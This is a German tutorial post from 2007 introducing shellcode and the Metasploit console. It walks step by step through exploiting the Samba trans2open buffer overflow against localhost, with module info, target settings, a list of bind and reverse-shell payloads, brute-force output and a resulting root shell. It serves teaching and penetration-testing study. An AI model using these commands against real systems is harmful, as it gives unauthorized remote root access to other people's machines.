| Metasploit Framework Teil 1 (German) |
| Written by synack | |
| Friday, 18 May 2007 | |
|
Bei der Auswahl von Shellcode muss der Entwickler eines Exploits zunaechst festlegen fuer welche Prozessorarchitektur der Code sein soll. Am weitesten verbreitet ist hier die x86 Architektur. Als naechstes muss sich der Entwickler fuer ein Betriebssystem entscheiden, wie z.b. Linux oder Windows. Als letztes muss sich der Entwickler ueberlegen, was der Shellcode ueberhaupt fuer eine Funktion haben soll. Der traditionelle Shellcode fuer Unix-artige Systeme fuehrt einen System Call aus der das Programm /bin/sh startet. Daher stammt auch der Name Shellcode, da es sich hierbei eben um Maschinencode handelt, der eine Shell ausfuehrt. Eine sehr weit verbreitet Variante von diesem klassischen Shellcode ist Code der einen TCP Socket oeffnet und eine Shell startet sobald eine Verbindung zu diesem Port aufgebaut wurde. Das Metasploit Framework enthaelt etliche fertige Exploits fuer Sicherheitsluecken in verschiedenen Anwendungen, wie z.B. Samba, PHP, Apache, MS SQL Server, etc. Um einen solchen Exploit zu benutzen startet man zunaechst die interaktive Konsole "msfconsole".
Als erstes waehlt man einen Exploit aus. Dazu kann man sich mit "show exploits" die Liste aller verfuegbaren Exploits anzeigen lassen. Mit "use samba_trans2open" waehlt man beispielsweise den Exploit fuer eine Sicherheitsluecke im Samba Paket aus, der in der Funktion "trans2open" in den Versionen 2.0.0 bis 2.2.8 enthalten ist. ------------------------------------------------------------------------------------------------------------------------ msf > use samba_trans2open msf samba_trans2open > info samba_trans2open Name: Samba trans2open Overflow Class: remote Version: $Revision: 1.37 $ Target OS: linux, bsd Keywords: samba Privileged: Yes Disclosure: Apr 7 2003 Provided By: H D Moore <hdm [at] metasploit.com> Available Targets: Linux x86 FreeBSD x86 Available Options: Exploit: Name Default Description -------- ------ ------- ---------------------------- optional DEBUG Enable debugging mode optional SRET Use specified return address required RHOST The target address required RPORT 139 The samba port Payload Information: Space: 734 Avoid: 1 characters | Keys: noconn tunnel bind findsock reverse Nop Information: SaveRegs: esp ebp | Keys: Encoder Information: | Keys: Description: This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the bug on x86 Linux and FreeBSD systems. References: http://www.osvdb.org/4469 http://www.digitaldefense.net/labs/advisories/DDI-1013.txt http://milw0rm.com/metasploit.php?id=53 ------------------------------------------------------------------------------------------------------------------------ Als naechstes muessen einige Variablen gesetzt werden. Die Variable RHOST ("remote host") gibt die IP Adresse oder den Hostnamen des Zielrechners an. Die Variable RPORT, den Port. Im Fall des trans2open Exploits ist dieser Wert standardmaessig auf den Samba Standardport 139 gesetzt. Das Setzen der Variablen erfolgt mit dem "set" Kommando. Die Variable TARGET gibt an fuer welches Betriebssystem und welche Prozessorarchitektur der Shellcode sein soll, den der Exploit verwendet. Nachdem man mit dem "use" Kommando einen Exploit ausgewaehlt hat werden die verfuegbaren Werte fuer TARGET angezeigt, sowie weitere Variablen die fuer diesen Exploit gesetzt sein muessen oder optional gesetzt werden koennen (z.B. DEBUG). ------------------------------------------------------------------------------------------------------------------------ msf samba_trans2open > set TARGET 0 TARGET -> 0 msf samba_trans2open > set RHOST 127.0.0.1 RHOST -> 127.0.0.1 ------------------------------------------------------------------------------------------------------------------------ Der letzte Schritt ist die Auswahl der payload. ------------------------------------------------------------------------------------------------------------------------ msf samba_trans2open > show payloads Metasploit Framework Usable Payloads ==================================== bsd_ia32_bind BSD IA32 Bind Shell bsd_ia32_bind_stg BSD IA32 Staged Bind Shell bsd_ia32_exec BSD IA32 Execute Command bsd_ia32_findrecv BSD IA32 Recv Tag Findsock Shell bsd_ia32_findrecv_stg BSD IA32 Staged Findsock Shell bsd_ia32_findsock BSD IA32 SrcPort Findsock Shell bsd_ia32_reverse BSD IA32 Reverse Shell bsd_ia32_reverse_stg BSD IA32 Staged Reverse Shell linux_ia32_adduser Linux IA32 Add User linux_ia32_bind Linux IA32 Bind Shell linux_ia32_bind_stg Linux IA32 Staged Bind Shell linux_ia32_exec Linux IA32 Execute Command linux_ia32_findrecv Linux IA32 Recv Tag Findsock Shell linux_ia32_findrecv_stg Linux IA32 Staged Findsock Shell linux_ia32_findsock Linux IA32 SrcPort Findsock Shell linux_ia32_reverse Linux IA32 Reverse Shell linux_ia32_reverse_impurity Linux IA32 Reverse Impurity Upload/Execute linux_ia32_reverse_stg Linux IA32 Staged Reverse Shell linux_ia32_reverse_udp Linux IA32 Reverse UDP Shell msf samba_trans2open > set PAYLOAD linux_ia32_bind PAYLOAD -> linux_ia32_bind msf samba_trans2open(linux_ia32_bind) > ------------------------------------------------------------------------------------------------------------------------ Die payload "linux_ia32_bind" ist der bereits beschriebene Shellcode der einen TCP Socket oeffnet und bei Verbindungsaufbau eine Shell startet. Das Zielbetriebssystem ist Linux und die Prozessorarchitektur ia32 (intel architecture 32 bit). Nachdem alle Parameter konfiguriert sind wird der Exploit einfach mit dem Kommando "exploit" gestartet. Eventuell muessen sehr viele Versuche durchgefuehrt werden bis der Exploit erfolgreich ist, da sich die Ruecksprungadresse nicht immer eindeutig bestimmen laesst. Verschiedene Versionen der Zielsoftware, Compiler und andere Umstaende koennen Variationen im Code und im Speicherlayout zur Folge haben. Daher enthalten Exploits oft Anweisungen um aus einem Speicherbereich alle Adressen durchzuprobieren. ------------------------------------------------------------------------------------------------------------------------ msf samba_trans2open(linux_ia32_bind) > exploit [*] Starting Bind Handler. [*] Starting bruteforce mode for target Linux x86 [*] Trying return address 0xbffffdfc... [*] Trying return address 0xbffffbfc... [*] Trying return address 0xbffff9fc... [*] Trying return address 0xbffff7fc... [*] Trying return address 0xbffff5fc... [*] Trying return address 0xbffff3fc... [*] Trying return address 0xbffff1fc... [*] Trying return address 0xbfffeffc... [*] Trying return address 0xbfffedfc... [*] Trying return address 0xbfffebfc... ------SNIP------ [*] Trying return address 0xbfddcdfc... [*] Trying return address 0xbfddcbfc... [*] Trying return address 0xbfddc9fc... [*] Trying return address 0xbfddc7fc... [*] Trying return address 0xbfddc5fc... [*] Trying return address 0xbfddc3fc... [*] Trying return address 0xbfddc1fc... [*] Trying return address 0xbfddbffc... [*] Trying return address 0xbfddbdfc... [*] Trying return address 0xbfddbbfc... [*] Trying return address 0xbfddb9fc... [*] Trying return address 0xbfddb7fc... [*] Got connection from 127.0.0.1:38956 <-> 127.0.0.1:4444 pwd /tmp whoami root ------------------------------------------------------------------------------------------------------------------------ Wie man sieht war der Exploit in diesem konkreten Fall bei der Ruecksprungadresse 0xbfddb7fc erfolgreich. Das Metasploit Framework baut automatisch eine Verbindung zum geoeffneten Port auf und ermoeglicht die Interaktion mit der gestarteten Shell. |
|
| Last Updated ( Friday, 18 May 2007 ) |
| Next > |
|---|